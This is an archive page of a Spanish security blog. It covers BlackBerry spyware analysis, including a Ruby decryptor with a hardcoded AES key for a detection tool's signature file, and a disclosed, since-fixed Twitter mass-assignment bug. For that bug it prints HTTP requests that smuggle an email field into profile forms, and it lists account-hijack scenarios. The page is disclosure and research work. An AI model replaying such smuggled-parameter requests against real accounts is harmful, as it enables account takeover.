Un blog de Seguridad Informática, desde un punto de vista tecnológico

Archivo para diciembre, 2010

IV Jornada STIC CCN-CERT

La semana pasada, concretamente el martes 14 de diciembre, tuvo lugar la IV Jornada STIC CCN-CERT. Con TB·Security tuvimos la oportunidad de participar activamente en la jornada, entre otra cosas, con una charla sobre análisis de aplicaciones para dispositivos Blackberry, tratando especialmente el análisis de aplicaciones spyware. Durante la charla se explicaron los conceptos básicos relacionados con el entorno Blackberry y la ejecución de aplicaciones, aspectos concretos de spyware para dichos entornos, y se expusó como afrontar el análisis (estático y dinámico) de aplicaciones. Finalmente se mostraron los resultados del análisis de demos de aplicaciones spyware para Blackberry. Por cierto, cualquier feedback sobre la ponencia es bienvenido!

Para aquellos que no pudieron asistir aprovechamos para publicar las diapositivas que se utilizaron durante la ponencia.

Para aquellos que si pudieron asistir, recordar que falló la última parte de la demostración (que vergüenza, que vergüenza! :)), en la que se intentó mostrar uno de los resultados del análisis de la aplicación Kisses, utilizada para el descubrimiento de programas y procesos ocultos en Blackberry. Concretamente falló la plantilla que llevabamos preparada del 010 Editor para ilustrar el parsing del fichero de firmas, una vez descifrado. Para no dejar las cosas a medias, aprovechamos para incluir una captura de pantalla de la plantilla, ahora si, ejecutada correctamente:

La plantilla de 010 editor es la siguiente:

//--------------------------------------
//--- 010 Editor v3.1.3 Binary Template
//
// File: KissessSignaturesTemplate.bt
// Author: juan vazquez
// Revision: 0.1
// Purpose: Kissess signatures db decrypted file parser
//--------------------------------------

typedef struct {
    SetBackColor(cRed);
    char    magic[6];
    SetBackColor(cRed-0x40);
    short   num_signatures;
    SetBackColor(cRed-0x60);
    short   version;
    SetBackColor(cRed-0x80);
    quad    date;
} HEADER;

typedef struct {
    SetBackColor(cGreen);
    ubyte   size_signature;
    SetBackColor(cBlue-0x20);
    ubyte   size_id_signature;
    SetBackColor(cLtBlue);
    byte    id_signature[size_id_signature];
    SetBackColor(cPurple);
    ubyte   size_signature_content;
    SetBackColor(cLtPurple);
    byte    signature_content[size_signature_content];
} SIGNATURE;

BigEndian();
// Header
HEADER header;
// Signatures
local short i = 0;
while (i < header.num_signatures) {
    SIGNATURE sign;
    i++;
}
// Hash
SetBackColor(cGray);
byte file_hash[20];

Como ya comentamos, la plantilla se tiene que aplicar sobre el fichero de firmas de Kisses una vez descifrado. EL fichero de firmas se puede descifrar con el siguiente ruby (el algoritmo, clave e IV se obtienen a partir del análisis que se comentó durante la ponencia):

require 'openssl'

module AESCrypt

  # Decrypts a block of data (encrypted_data) given an encryption key
  # and an initialization vector (iv).  Keys, iv's, and the data
  # returned are all binary strings.  Cipher_type should be
  # "AES-256-CBC", "AES-256-ECB", or any of the cipher types
  # supported by OpenSSL.  Pass nil for the iv if the encryption type
  # doesn't use iv's (like ECB).
  #:return: => String
  #:arg: encrypted_data => String
  #:arg: key => String
  #:arg: iv => String
  #:arg: cipher_type => String

  def AESCrypt.decrypt(encrypted_data, key, iv, cipher_type)
    aes = OpenSSL::Cipher::Cipher.new(cipher_type)
    aes.decrypt
    aes.key = key
    aes.iv = iv if iv != nil
    aes.update(encrypted_data) + aes.final
  end

  # Encrypts a block of data given an encryption key and an
  # initialization vector (iv).  Keys, iv's, and the data returned
  # are all binary strings.  Cipher_type should be "AES-256-CBC",
  # "AES-256-ECB", or any of the cipher types supported by OpenSSL.
  # Pass nil for the iv if the encryption type doesn't use iv's (like
  # ECB).
  #:return: => String
  #:arg: data => String
  #:arg: key => String
  #:arg: iv => String
  #:arg: cipher_type => String

  def AESCrypt.encrypt(data, key, iv, cipher_type)
    aes = OpenSSL::Cipher::Cipher.new(cipher_type)
    aes.encrypt
    aes.key = key
    aes.iv = iv if iv != nil
    aes.update(data) + aes.final
  end

end

class SignaturesDecryptor

	include AESCrypt

	attr_accessor :filename
	attr_accessor :key
	attr_accessor :iv
	attr_accessor :cipher_type

	def initialize(filename = "")
		@filename = filename
		@key = [-117, 109, -121, 50, 44, 127, -61, -37, -27, 110, 36, -28, 66, -85, -9, -102]
		@iv = [109, -76, -62, 45, -121, 12, 16, -8, -26, -89, 92, 112, -37, 9, 36, 7]
		@cipher_type =  "AES-128-CBC"
	end

	def decrypt_signatures
		if @filename.empty?
			return ""
		end
		decrypted = ""
		File.open(filename, "rb") do |signatures|
			decrypted = AESCrypt.decrypt(signatures.read, @key.pack("c16"), @iv.pack("c16"), @cipher_type)
		end
		decrypted
	end
end

sd = SignaturesDecryptor.new("signatures.db")

File.open("signatures_decrypted.db", "wb") do |result|
	result.write(sd.decrypt_signatures)
end

El módulo AESCrypt me lo agencié de un blog (creo) que ahora no soy capaz de recordar, así que no puedo hacer referencia, sorry 😦

Ya para acabar, comentar que bajo mi punto de vista la organización del evento fué fantástica, hubieron charlas muy interesantes y, almenos yo, disfruté de un gran día en una muy grata compañía! 🙂

Saludos!


Ejemplo de ¿mass assignment? en twitter

A raíz del (ahora ya no tan) reciente incidente relacionado con un cross-site scripting en twitter dando un paseo por twitter encontramos lo que parecía ser un ejemplo «curioso» de mass-assignment en la actualización del modelo «User», sobre el que nos gustaría compartir los detalles.

Para la gente que no esté familiarizada con el entorno de Ruby On Rails, comentar que mass-assignment es una característica de Rails que permite la actualización de los atributos de un modelo de forma masiva, a partir de un Hash que contenga los atributos y valores del modelo de datos. Si imaginamos un modelo de datos «User» con dos atributos: «name» y «surname», a partir de un Hash como el siguiente:

user_attrs = Hash.new
user_attrs = {:name => "juan", :surname => "vazquez" }

Rails permite setear los atributos del modelo de forma masiva, por ejemplo:

# nuevo usuario utilizando mass-assignment
User.new(user_attrs)
# actualización de un usuario utilizando mass-assignment
user.update_attributes(user_attrs)

El problema es que setear los atributos de forma masiva puede comprometer la seguridad de la aplicación si no se toman las precauciones adecuadas. Más información sobre mass-assignment y seguridad en aplicaciones Rails se puede encontrar en:

El bug, que permitía a un usuario autenticado actualizar datos sensibles de su perfil (como su dirección de correo electrónico) sin confirmar su identidad (introduciendo nuevamente su contraseña), ha sido reportado a Twitter previamente y ha sido corregido (aunque no nos ha confirmado la naturaleza del problema). Comentamos a continuación los detalles.

El tema es que twitter permite actualizar el perfil (esto es, actualizar el modelo «User») a los usuarios al menos a través de 4 opciones (siempre hablando del acceso Web):

  • Account
  • Notices
  • Profile
  • Design

Si nos fijamos en las diferentes peticiones que se generan, nos damos cuenta de que las cuatro opciones actualizan el modelo «User» («user[propiedad]=valor»):

  • Account
  • POST /settings/accounts/update HTTP/1.1
    Host: twitter.com
    User-Agent:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Referer: http://twitter.com/settings/account
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 345
    
    _method=put&authenticity_token=&user%5Bscreen_name%5D=j_u_a_n_v_p&user%5Bemail%5D=juan.vazquez.test%40gmail.com&user%5Bdiscoverable_by_email%5D=0&user%5Blang%5D=en&user%5Btime_zone%5D=Greenland&user%5Bgeo_enabled%5D=0&user%5Bshow_all_inline_media%5D=0&user%5Bprotected%5D=0&auth_password=faketest&commit=Save+changes
    
  • Notices
  • POST /settings/notifications/update HTTP/1.1
    Host: twitter.com
    User-Agent:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Referer: http://twitter.com/settings/notifications
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 212
    
    authenticity_token=&user%5Bsend_new_friend_email%5D=1&user%5Bsend_new_friend_email%5D=0&user%5Bsend_new_direct_text_email%5D=0&user%5Bsend_email_newsletter%5D=0&commit=Save
    
  • Profile
  • POST /settings/profile HTTP/1.1
    Host: twitter.com
    User-Agent:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Referer: http://twitter.com/settings/profile
    Cookie:
    Content-Type: multipart/form-data; boundary=---------------------------22901348621322226821059329840
    Content-Length: 1131
    
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="_method"
    
    put
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="authenticity_token"
    
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="profile_image[uploaded_data]"; filename=""
    Content-Type: application/octet-stream
    
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="user[name]"
    
    test
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="user[location]"
    
    barcelona
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="user[url]"
    
    http://
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="user[description]"
    
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="commit"
    
    Save
    -----------------------------22901348621322226821059329840--
    
  • Design
  • POST /settings/design/update HTTP/1.1
    Host: twitter.com
    User-Agent:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Referer: http://twitter.com/settings/design
    Cookie:
    Content-Type: multipart/form-data; boundary=---------------------------217306245668628822413166446
    Content-Length: 2036
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="authenticity_token"
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_default]"
    
    true
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="tab"
    
    none
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="profile_theme"
    3
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[uploaded_data]"; filename=""
    Content-Type: application/octet-stream
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_use_background_image]"
    
    true
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_background_image_url]"
    
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_background_tile]"
    
    0
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_background_color]"
    
    #EDECE9
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_text_color]"
    
    #634047
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_link_color]"
    
    #088253
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_sidebar_fill_color]"
    
    #E3E2DE
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_sidebar_border_color]"
    
    #D3D2CF
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="commit"
    
    save changes
    -----------------------------217306245668628822413166446--
    

De la cuatro opciones anteriores «Account» es la única que solicita al usuario su contraseña para poder llevar a cabo su actualización:

Esto tiene sentido, ya que desde la opción «Account» el usuario puede actualizar información sensible, como su dirección de correo electrónico, pieza clave para llevar a cabo la recuperación de contraseña.

Sin embargo, desde las otras tres opciones («Notices», «Profile» y «Design») es posible actualizar información sensible del modelo User, como la dirección de correo electrónico, sin tener que escribir la contraseña para confirmar la identidad del usuario. A continuación, las peticiones que permitirían la actualización de correo electrónico (sin confirmar la contraseña):

  • Notices
  • POST /settings/notifications/update HTTP/1.1
    Host: twitter.com
    User-Agent:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Referer: http://twitter.com/settings/notifications
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 249
    
    authenticity_token=&user%5Bsend_new_friend_email%5D=1&user%5Bsend_new_friend_email%5D=0&user%5Bsend_new_direct_text_email%5D=0&user%5Bsend_email_newsletter%5D=0&user%5Bemail%5D=juan.vazquez.test@gmail.com&commit=Save
    
  • Profile
  • POST /settings/profile HTTP/1.1
    Host: twitter.com
    User-Agent:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Referer: http://twitter.com/settings/profile
    Cookie:
    Content-Type: multipart/form-data; boundary=---------------------------9717853222661105081714554876
    Content-Length: 1264
    
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="_method"
    
    put
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="authenticity_token"
    
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="profile_image[uploaded_data]"; filename=""
    Content-Type: application/octet-stream
    
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="user[name]"
    
    test
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="user[location]"
    
    barcelona
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="user[url]"
    
    http://
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="user[email]"
    
    juan.vazquez.test@gmail.com
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="user[description]"
    
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="commit"
    
    Save
    -----------------------------9717853222661105081714554876--
    
  • Design
  • POST /settings/design/update HTTP/1.1
    Host: twitter.com
    User-Agent:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Referer: http://twitter.com/settings/design
    Cookie:
    Content-Type: multipart/form-data; boundary=---------------------------217306245668628822413166446
    Content-Length: 2036
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="authenticity_token"
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_default]"
    
    true
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="tab"
    
    none
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="profile_theme"
    
    3
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[uploaded_data]"; filename=""
    Content-Type: application/octet-stream
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_use_background_image]"
    
    true
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_background_image_url]"
    
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_background_tile]"
    
    0
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_background_color]"
    
    #EDECE9
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_text_color]"
    
    #634047
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_link_color]"
    
    #088253
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_sidebar_fill_color]"
    
    #E3E2DE
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_sidebar_border_color]"
    
    #D3D2CF
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[email]"
    
    juan.vazquez.test@gmail.com
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="commit"
    
    save changes
    -----------------------------217306245668628822413166446--
    

Después de lanzar cualquiera de las peticiones anteriores se podría confirmar el cambio desde la nueva cuenta de correo electrónico (que pertenecería al secuestrador :)):

Algunos escenarios en los que se podría haber utilizado el bug para secuestrar totalmente una cuenta de twitter (mediante la funcionalidad de restauración de contraseña):

  • Sistemas de uso compartido.
  • Escenarios de sniffing de red. Sobretodo con la publicación de firesheep :).
  • Usado conjuntamente con otras vulnerabilidades, por ejemplo, de Cross Site Scripting

¿A alguien se le ocurren otros escenarios de ataque?


Explotación en Android y SET

En relación con la presentación de SMS Spoofing, nos ha llegado alguna petición sobre el material relacionado con la demo explotación de Android.

Lo primero, comentar que todo lo utilizado para la demo de explotación de Android está basado en el trabajo de Javier Moreno y Eloi Sanfélix, presentado en la Rooted CON 2010,  Seguridad y explotación nativa en Android. Los autores publicaron material sobre la presentación en sus respectivos blogs:

Para información sobre explotación nativa en Android os referenciamos pues, a dicho material :).

Sin embargo, ponemos a vuestra disposición el siguiente material, que utilizamos durante la presentación de SMS Spoofing:

android_stack_tb.rb: El exploit original de Eloi Sanfelix y Javier Moreno, con la
«Ret» modificada para obtener el control con el desbordamiento en nuestro entorno Android 1.6 (API level 4).

(más…)